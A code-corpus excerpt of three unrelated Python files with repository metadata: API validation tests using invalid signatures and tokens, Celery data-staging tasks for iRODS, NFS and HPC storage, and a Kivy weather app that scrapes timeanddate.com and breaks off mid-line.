concat_text = common_data.get_concat_text(concat_dict) signature = Signature() signature.load_key(common_data.certificate_serial) signed_signature = signature.sign(concat_text) headers['X-Signature'] = signed_signature response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) if response.status_code == 400 and response.json()['code'] == "400.6": print "TEST CASE 7 OK" else: print "TEST CASE 7 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text def testcase_8(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() headers['X-Signature'] = "INVALID_X_SIGNATURE" response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) if response.status_code == 400 and response.json()['code'] == "400.1": print "TEST CASE 8 OK" else: print "TEST CASE 8 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text def testcase_9(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() domain = quote(domain+"###@@@@") concat_dict = body_content.copy() concat_dict['domain'] = domain concat_dict['key'] = key concat_text = common_data.get_concat_text(concat_dict) signature = Signature() signature.load_key(common_data.certificate_serial) signed_signature = signature.sign(concat_text) headers['X-Signature'] = signed_signature response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) if response.status_code == 400 and response.json()['code'] == "400.6": print "TEST CASE 9 OK" else: print "TEST CASE 9 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text def testcase_10(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() key = quote(key+"###@@@@") concat_dict = body_content.copy() concat_dict['domain'] = domain concat_dict['key'] = key concat_text = common_data.get_concat_text(concat_dict) signature = Signature() signature.load_key(common_data.certificate_serial) signed_signature = signature.sign(concat_text) headers['X-Signature'] = signed_signature response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) if response.status_code == 400 and response.json()['code'] == "400.6": print "TEST CASE 10 OK" else: print "TEST CASE 10 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text def testcase_11(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() body_content['certificate_serial'] = "INVALID_CERTIFICATE_SERIAL" concat_dict = body_content.copy() concat_dict['domain'] = domain concat_dict['key'] = key concat_text = common_data.get_concat_text(concat_dict) signature = Signature() signature.load_key(common_data.certificate_serial) signed_signature = signature.sign(concat_text) headers['X-Signature'] = signed_signature response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) if response.status_code == 400 and response.json()['code'] == "400.3": print "TEST CASE 11 OK" else: print "TEST CASE 11 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text def testcase_12(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() body_content['access_token'] = "INVALID_ACCESS_TOKEN" concat_dict = body_content.copy() concat_dict['domain'] = domain concat_dict['key'] = key concat_text = common_data.get_concat_text(concat_dict) signature = Signature() signature.load_key(common_data.certificate_serial) signed_signature = signature.sign(concat_text) headers['X-Signature'] = signed_signature response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) if response.status_code == 401 and response.json()['code'] == "401.0": print "TEST CASE 12 OK" else: print "TEST CASE 12 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text if __name__ == '__main__': # set headers headers = dict() headers = init_headers(headers) # set body body_content = dict() init_body_content(body_content) sso_tokens = test_1_device_auth.get_device_authentication_token() if sso_tokens.has_key('access_token') and sso_tokens.has_key('refresh_token'): body_content['access_token'] = sso_tokens['access_token'] else: print "[Error] init access token failed!" exit(-1) domain = "TEST_DOMAIN" key = "TEST_KEY" testcase_0(headers, body_content, domain, key) # testcase_1(headers, body_content, domain, key) # testcase_2(headers, body_content, domain, key) # testcase_3(headers, body_content, domain, key) # testcase_4(headers, body_content, domain, key) # testcase_5(headers, body_content, domain, key) # testcase_6(headers, body_content, domain, key) # testcase_7(headers, body_content, domain, key) # testcase_8(headers, body_content, domain, key) # testcase_9(headers, body_content, domain, key) # testcase_10(headers, body_content, domain, key) # testcase_11(headers, body_content, domain, key) # testcase_12(headers, body_content, domain, key)

35.748756

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0.681998

1,827

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5.151067

0.048714

0.134417

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0.066305

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1

0

null

0

1

0

8

a23212621f3f0c4144385a646cf42bb3530df1db

24,046

py

Python

staging/staging/tasks.py

lexis-project/ddi-service-apis

9e96c4159154d70613b1977a8ea28374c038b463

[ "Apache-2.0" ]

null

staging/staging/tasks.py

lexis-project/ddi-service-apis

9e96c4159154d70613b1977a8ea28374c038b463

[ "Apache-2.0" ]

null

staging/staging/tasks.py

lexis-project/ddi-service-apis

9e96c4159154d70613b1977a8ea28374c038b463

[ "Apache-2.0" ]

null

import logging import time from django.urls import reverse from staging_api.celery import app from celery import states from celery.exceptions import Ignore from celery.result import AsyncResult from celery import Celery from . import data_size from . import replication_api from . import staging_api import sys import os @app.task(bind=True) def stage_class_1(self, input_data, clean_source=False, revoke_token=False): logging.info("Starting Class 1 data trasnfer") try: # class 1 staging function transfer = staging_api.irods_to_nfs(input_data, clean_source, revoke_token) except Exception as e: logging.info("Handling exception in Class 1 transfer") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) logging.info(str(e)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return [app.current_task.request.id, transfer] @app.task(bind=True) def stage_class_2(self, input_data, clean_source=False, revoke_token=False): logging.info("Starting Class 2 data trasnfer") try: # class 2 staging function transfer = staging_api.nfs_to_irods(input_data, clean_source, revoke_token) except Exception as e: logging.info("Handling exception in Class 2 transfer") logging.info("Dumping input data") logging.info(input_data) logging.info(str(e)) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return [app.current_task.request.id, transfer] @app.task(bind=True) def stage_class_3(self, input_data, clean_source=False, revoke_token=False): logging.info("Starting Class 3 data trasnfer") try: # class 3 staging function transfer = staging_api.nfs_to_nfs_transfer(input_data, clean_source, revoke_token) except Exception as e: logging.info("Handling exception in Class 1 transfer") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return [app.current_task.request.id, transfer] @app.task(bind=True) def stage_class_4(self, input_data, revoke_token=False): logging.info("Starting Class 4 data trasnfer") try: # class 4 staging function transfer = staging_api.irods_to_local_hpc(input_data, revoke_token) except Exception as e: logging.info("Handling exception in Class 4 transfer") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return [app.current_task.request.id, transfer] @app.task(bind=True) def stage_class_5(self, input_data, revoke_token=False): logging.info("Starting Class 5 data trasnfer") try: # class 5 staging function transfer = staging_api.local_hpc_to_irods(input_data, revoke_token) except Exception as e: logging.info("Handling exception in Class 5 transfer") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return [app.current_task.request.id, transfer] @app.task(bind=True) def stage_class_6(self, input_data, clean_source=False, revoke_token=False): logging.info("Starting Class 6 data trasnfer") try: # class 6 staging function transfer = staging_api.nfs_to_local_hpc(input_data, clean_source, revoke_token) except Exception as e: logging.info("Handling exception in Class 6 transfer") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return [app.current_task.request.id, transfer] @app.task(bind=True) def stage_class_7(self, input_data, revoke_token=False): logging.info("Starting Class 7 data trasnfer") try: # class 7 staging function transfer = staging_api.local_hpc_to_nfs(input_data, revoke_token) except Exception as e: logging.info("Handling exception in Class 7 transfer") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return [app.current_task.request.id, transfer] @app.task(bind=True) def preprocess_input(self, input_data): logging.info("Starting preprocessing") try: sys.stdout.write(str(staging_api.prepare_input_to_iRODS(input_data))) except Exception as e: logging.info("Handling exception in preprocessing") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return staging_api.prepare_input_to_iRODS(input_data) @app.task(bind=True) def postprocess_input(self, transfer_output, input_data): logging.info("Starting postprocessing") try: input_data["source_system"] = staging_api.get_local_irods() base_path = staging_api.get_base_path(input_data["source_system"]) source_path = os.path.relpath(transfer_output[1], base_path) input_data["source_path"] = source_path except Exception as e: logging.info("Handling exception in preprocessing") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return input_data @app.task(bind=True) def delete_class_1(self, input_data): logging.info("Starting Class 1 deletion") revoke_token = True try: staging_api.delete_irods(input_data, revoke_token) except Exception as e: logging.info("Handling exception in Class 1 deletion") logging.info("Dumping input data") logging.info(input_data) logging.info(str(e)) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) raise Ignore() return [app.current_task.request.id] @app.task(bind=True) def delete_class_2(self, input_data): logging.info("Starting Class 2 deletion") revoke_token = True try: staging_api.delete_nfs(input_data, revoke_token) except Exception as e: logging.info("Handling exception in Class 2 deletion") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) raise Ignore() return [app.current_task.request.id] @app.task(bind=True) def delete_class_3(self, input_data): logging.info("Starting Class 3 deletion") revoke_token = True try: staging_api.delete_hpc(input_data, revoke_token) except Exception as e: logging.info("Handling exception in Class 3 deletion") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) raise Ignore() return [app.current_task.request.id] @app.task(bind=True) def get_data_size(self, input_data): logging.info("Starting the get data size task") try: size = data_size.get_data_size(input_data) logging.info(size) except Exception as e: logging.info("Handling exception in data size class") logging.info("Dumping input data") logging.info(str(e)) logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) raise Ignore() return [app.current_task.request.id, size] @app.task(bind=True) def replicate(self, input_data): logging.info("Starting the replication task") try: replication = replication_api.initiate_replication(input_data) except Exception as e: logging.info("Handling exception in replication class") logging.info("Dumping input data") logging.info(str(e)) logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) sys.stdout.write(str(self.AsyncResult(self.request.id).state)) raise Ignore() return [app.current_task.request.id, replication] @app.task(bind=True) def assign_pid(self, input_data): logging.info("Starting the PID assignment task") try: pid = replication_api.initiate_pid_assignment(input_data) except Exception as e: logging.info("Handling exception in PID assignment class") logging.info("Dumping input data") logging.info(str(e)) logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) sys.stdout.write(str(self.AsyncResult(self.request.id).state)) raise Ignore() return [app.current_task.request.id, pid] @app.task(bind=True) def prepare_encryption1(self, input_data): logging.info("Starting preparation for encryption api 1") try: data = staging_api.prepare_encryption1(input_data) except Exception as e: logging.info("Handling exception in encryption api preparation 1") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return data @app.task(bind=True) def prepare_encryption2(self, transfer_output, input_data): logging.info("Starting preparation for encryption api 2") try: data = staging_api.prepare_encryption2(transfer_output, input_data) except Exception as e: logging.info("Handling exception in encryption api preparation 2") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return data @app.task(bind=True) def prepare_encryption3(self, transfer_output, input_data): logging.info("Starting preparation for encryption api 3") try: data = staging_api.prepare_encryption3(transfer_output, input_data) except Exception as e: logging.info("Handling exception in encryption api preparation 3") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return data @app.task(bind=True) def move_nfs(self, input_data, revoke_token=False): logging.info("Starting move nfs operation") try: transfer = staging_api.move_nfs(input_data, revoke_token) except Exception as e: logging.info("Handling exception in move nfs") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return [app.current_task.request.id, transfer] @app.task(bind=True) def prepare_encryption4(self, transfer_output, input_data): logging.info("Starting prepare input to iRODS") try: sys.stdout.write( str(staging_api.prepare_input_to_iRODS2(transfer_output, input_data))) except Exception as e: logging.info("Handling exception in preparing input to iRODS") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return staging_api.prepare_input_to_iRODS2(transfer_output, input_data) @app.task(bind=True) def prepare_encryption5(self, transfer_output, input_data): logging.info("Starting preparation for encryption api 5") try: data = staging_api.prepare_encryption5(transfer_output, input_data) except Exception as e: logging.info("Handling exception in encryption api preparation 5") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) data = self.request.chain if data is not None: logging.info(str(data)) last_task = str(data[0]["options"]["task_id"]) logging.info(last_task) self.update_state( task_id=last_task, state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) self.request.chain = None raise Ignore() return data @app.task(bind=True) def duplicate(self, input_data): logging.info("Starting duplication") try: # duplication function transfer = staging_api.duplicate(input_data) except Exception as e: logging.info("Handling exception in duplication") logging.info("Dumping input data") logging.info(input_data) self.update_state( state=states.FAILURE, meta={ 'custom': str(e), 'exc_type': type(e).__name__, 'exc_message': str(e)}) logging.info(str(self.AsyncResult(self.request.id).state)) raise Ignore() return [app.current_task.request.id, transfer]

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0.823218

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a29045b040ef64751b47142cf0c568a29fce1d6e

29,319

py

Python

Hava_Durumu/main.py

Canozguur/Weather-App

3794d73adbcb3718135185374b7686fb9f8bd1ab

[ "Unlicense" ]

null

Hava_Durumu/main.py

Canozguur/Weather-App

3794d73adbcb3718135185374b7686fb9f8bd1ab

[ "Unlicense" ]

1

2021-04-11T05:52:24.000Z

Hava_Durumu/main.py

Canozguur/Weather-App

3794d73adbcb3718135185374b7686fb9f8bd1ab

[ "Unlicense" ]

null

import requests from bs4 import BeautifulSoup from kivymd.app import MDApp from kivymd.uix.screen import MDScreen from kivymd.uix.card import MDCard from kivy.uix.modalview import ModalView from kivymd.uix.boxlayout import BoxLayout from kivy.properties import StringProperty,BoundedNumericProperty,BooleanProperty from kivy.uix.button import ButtonBehavior from kivy.uix.image import Image from kivy.core.window import Window from kivymd.uix.label import Label city = "istanbul" url = 'https://www.timeanddate.com/weather/turkey/'+city print(url) hourly_url = url+"/hourly" daily_url = url+"/ext" Window.size = (350, 625) class de(BoxLayout): pass class card_of_today(MDCard): sunrise = StringProperty() sunset = StringProperty() wind = StringProperty() feels_like = StringProperty() status = StringProperty() class card_of_hours(MDCard): hour = StringProperty() status_of_weather = StringProperty() temp_of_hour = StringProperty() bc_color = BooleanProperty() text_color = BooleanProperty() class card_of_daily(MDCard): day = StringProperty() temperature = StringProperty() image = StringProperty() color = BooleanProperty() text_color = BooleanProperty() class search(ModalView): pass days = {"Pzt":"Monday", "Sal":"Tuesday", "Çar":"Wednesday", "Per":"Thursday", "Cum":"Friday", "Cmt":"Saturday", "Paz":"Sunday"} class MainScreen(MDScreen): pass class NewScreen(MDScreen): pass class ImageButton(ButtonBehavior, Image): pass class MainApp(MDApp): def change_screen(self,text,situation): print(situation) if situation== True: self.country_of_search = "usa" else: self.country_of_search = "turkey" try: self.screen_text = 'new_city_name_of_'+text screen_of_new_city = MDScreen(name=f'new_city_name_of_{text}') self.new_screen = de() self.root.ids['screen_manager'].add_widget(screen_of_new_city) screen_of_new_city.add_widget(self.new_screen) city = str(text).lower() url = 'https://www.timeanddate.com/weather/'+self.country_of_search +'/' + city if requests.get(url).ok: print(url) self.hourly_url = url + "/hourly" self.daily_url = url + "/ext" self.new_screen.ids.city_name.text = city.title() self.new_daily(self.daily_url) self.background_time() self.root.ids['new_screen'].ids.city.text = city.title() self.root.ids['screen_manager'].current = self.screen_text self.sea.dismiss() else: self.sea.ids['spot'].add_widget(Label(text="Not Founded",pos_hint={"center_x":.5,"center_y":.45},color=(0,122,122,1),font_size="22sp")) except Exception: self.sea.ids['spot'].add_widget( Label(text="Not Founded", pos_hint={"center_x": .5, "center_y": .45}, color=(0, 0, 0, 1),font_size="22sp" )) def new_daily(self,url): r = requests.get(url) soup = BeautifulSoup(r.content, "html.parser") tablo = soup.find(class_='tb-scroll') img = tablo.find_all('img') data = tablo.find_all('tr') full_text = data[2].get_text() ####### ##### ### ## sunset = full_text[-1:-6:-1][::-1] sunrise = full_text[-6:-11:-1][::-1] print(sunrise, sunset) texts = str(full_text).split(" ") # print(texts) # print(full_text) situation = str(full_text).split("°C") # print(situation) wind = situation[2][0:7] day_name = texts[0][0:3] day_num = texts[0].replace(day_name[0:3], "") day = day_num + texts[1][0:3] second = texts[3].replace("xa", " ") second = situation[0].split(" ") # print(second) temp = str(texts[1][3:]) + "/" + str(second[3].replace("\xa0", "") + " °C") day_name = days[day_name] print("day name ==", day_name) print("day ==", day) print("temperature ==", temp) situation = situation[1].split(".") # print(situation) if situation[1][0:2].isdigit() == True: situation_of_weather = situation[0] print("situation of weather ==", situation_of_weather) feels_like = str(situation[1]) + " °C" print("feels like ==", feels_like) print("wind speed ==", wind) print("*" * 40) # self.root.ids['main_screen'].ids.day.add_widget(card(hour=)) source = str(situation_of_weather).replace(" ", "_").replace(".", "").lower() source = "weather_images/" + source + ".png" status = "Today: " + situation_of_weather + " and weather is between " + temp.replace("/", " / ") + " temperature" print(status) # self.root.ids['main_screen'].today.add_widget(card_of_today(sunrise=sunrise,sunset=sunset,wind=wind,feels_like=feels_like,status=situation_of_weather)) self.new_screen.ids.feels_like.text = feels_like self.new_screen.ids.sunrise.text = sunrise self.new_screen.ids.sunset.text = sunset self.new_screen.ids.wind.text = wind self.new_screen.ids.today_info.text = status self.sunrise = sunrise self.sunset = sunset elif situation[1][0:1].isdigit() == True: situation_of_weather = situation[0] print("situation of weather ==", situation_of_weather) feels_like = str(situation[1]) + " °C" print("feels like ==", feels_like) print("wind speed ==", wind) print("*" * 40) source = str(situation_of_weather).replace(" ", "_").replace(".", "").lower() source = "weather_images/" + source + ".png" status = "Today: " + situation_of_weather + " and weather is between " + temp.replace("/", " / ") + " temperature" # self.root.ids['main_screen'].today.add_widget(card_of_today(sunrise=sunrise,sunset=sunset,wind=wind,feels_like=feels_like,status=situation_of_weather)) self.new_screen.ids.feels_like.text = feels_like self.new_screen.ids.sunrise.text = sunrise self.new_screen.ids.sunset.text = sunset self.new_screen.ids.wind.text = wind self.new_screen.ids.today_info.text = status self.sunrise = sunrise self.sunset = sunset else: situation_of_weather = str(situation[0]) + str(situation[1]) print("situation of weather ==", situation_of_weather) feels_like = str(situation[2]) + " °C" print("feels like ==", feels_like) print("wind speed ==", wind) print("*" * 40) source = str(situation_of_weather).replace(" ", "_").replace(".", "").lower() source = "weather_images/" + source + ".png" status = "Today: " + situation_of_weather + " and weather is between " + temp.replace("/", " / ") + " temperature" print(status) # self.root.ids['main_screen'].today.add_widget(card_of_today(sunrise=sunrise,sunset=sunset,wind=wind,feels_like=feels_like,status=situation_of_weather)) self.new_screen.ids.feels_like.text = feels_like self.new_screen.ids.sunrise.text = sunrise self.new_screen.ids.sunset.text = sunset self.new_screen.ids.wind.text = wind self.new_screen.ids.today_info.text = status self.sunrise = sunrise self.sunset = sunset #### ### ### ### ### self.new_hourly(self.hourly_url) ##### This code suppose to be here cause of i little bit comlicated the code ####### #### ### for i in range(2, len(data) - 3): j = i - 2 src = str(img[j]).split("src") src = src[1].split(" ")[0].replace("=", "")[1:][:-1][24:].replace(".svg", "") + ".png" print(src) full_text = data[i].get_text() sunset = full_text[-1:-6:-1][::-1] sunrise = full_text[-6:-11:-1][::-1] print(sunrise, sunset) texts = str(full_text).split(" ") # print(texts) # print(full_text) situation = str(full_text).split("°C") # print(situation) wind = situation[2][0:7] day_name = texts[0][0:3] day_num = texts[0].replace(day_name[0:3], "") day = day_num + texts[1][0:3] second = texts[3].replace("xa", " ") second = situation[0].split(" ") # print(second) temp = str(texts[1][3:]) + "/" + str(second[3].replace("\xa0", "") + " °C") day_name = days[day_name] if i == 2: print(full_text) sunset = full_text[-1:-6:-1][::-1] sunrise = full_text[-6:-11:-1][::-1] print("day name ==", day_name) print("day ==", day) print("temperature ==", temp) situation = situation[1].split(".") # print(situation) if situation[1][0:2].isdigit() == True: situation_of_weather = situation[0] print("situation of weather ==", situation_of_weather) feels_like = str(situation[1]) + " °C" print("feels like ==", feels_like) print("wind speed ==", wind) print("*" * 40) # self.root.ids['main_screen'].ids.day.add_widget(card(hour=)) source = str(situation_of_weather).replace(" ", "_").replace(".", "").lower() src = "weather_images/" + src print(source) self.new_screen.ids.daily.add_widget( card_of_daily(day=day_name, temperature=temp, image=src, color=self.bc_color, text_color=self.text_color)) elif situation[1][0:1].isdigit() == True: situation_of_weather = situation[0] print("situation of weather ==", situation_of_weather) feels_like = str(situation[1]) + " °C" print("feels like ==", feels_like) print("wind speed ==", wind) print("*" * 40) source = str(situation_of_weather).replace(" ", "_").replace(".", "").lower() src = "weather_images/" + src print(source) # self.root.ids['main_screen'].ids.day.add_widget(card(hour=)) self.new_screen.ids.daily.add_widget( card_of_daily(day=day_name, temperature=temp, image=src, color=self.bc_color, text_color=self.text_color)) else: denemelik = situation[0] situation_of_weather = str(situation[0]) + str(situation[1]) print("situation of weather ==", situation_of_weather) feels_like = str(situation[2]) + " °C" print("feels like ==", feels_like) print("wind speed ==", wind) print("*" * 40) # source = str(denemelik).replace(" ", "_").replace(".", "").lower() src = "weather_images/" + src # self.root.ids['main_screen'].ids.day.add_widget(card(hour=)) self.new_screen.ids.daily.add_widget( card_of_daily(day=day_name, temperature=temp, image=src, color=self.bc_color, text_color=self.text_color)) pass def new_hourly(self,url): r = requests.get(url) soup = BeautifulSoup(r.content, "html.parser") tablo = soup.find(class_='tb-scroll') data = tablo.find_all('tr') img = tablo.find_all('img') self.time = data[2].get_text()[:5] self.background_time() for i in range(3, len(data) - 1): full_text = data[i].get_text() hour = full_text[:5] # here is gonna be as a different splitting cause of day j = i - 2 src = str(img[j]).split("src") src = src[1].split(" ")[0].replace("=", "")[1:][:-1][24:].replace(".svg", "") + ".png" temp_of_hour = full_text[5:10] new_text = full_text[10:] new_text = str(new_text).split("°C") feels_like = new_text[0] feels_like = feels_like[:-4:-1] status = new_text[0] status = status[:-3] wind = new_text[1] wind = wind[0:7] feels_like = feels_like[::-1] new_temp = str(full_text).split("°C")[1].split(".")[-1].replace(" ","")+"°C" print("time == ", hour) print("Temperature of hour == ", new_temp) print("situation of weather == ", status) print("Feels like == ", feels_like) print("Wind == ", wind) print("*" * 40) status = str(status).replace(" ", "_").replace(".", "").lower() if int(str(hour)[0:2]) < 6 or int(str(hour)[0:2]) > 21: morning = True night = False if str(hour[0:2]) == "00": # i am gonna put here png which is gonna be This New Day text thing status = "weather_images/" +"new_day.png" print("newday") self.new_screen.ids.hour.add_widget( card_of_hours(hour=hour, status_of_weather=str(status), temp_of_hour=full_text[5:11], bc_color=self.bc_color, text_color=self.text_color)) else: src = "weather_images/" + src self.new_screen.ids.hour.add_widget( card_of_hours(hour=hour, status_of_weather=str(src), temp_of_hour=new_temp, bc_color=self.bc_color, text_color=self.text_color)) else: night = True morning = False print(status) if status == "sprinkles_more_sun_than_clouds": status = "rainy" status = "weather_images/" + src self.new_screen.ids.hour.add_widget( card_of_hours(hour=hour, status_of_weather=str(status), temp_of_hour=new_temp, bc_color=self.bc_color, text_color=self.text_color)) elif status == "sprinkles_partly_cloudy": status = "rainy" status = "weather_images/" + src self.new_screen.ids.hour.add_widget( card_of_hours(hour=hour, status_of_weather=str(status), temp_of_hour=new_temp, bc_color=self.bc_color, text_color=self.text_color)) else: status = "weather_images/" + src self.new_screen.ids.hour.add_widget( card_of_hours(hour=hour, 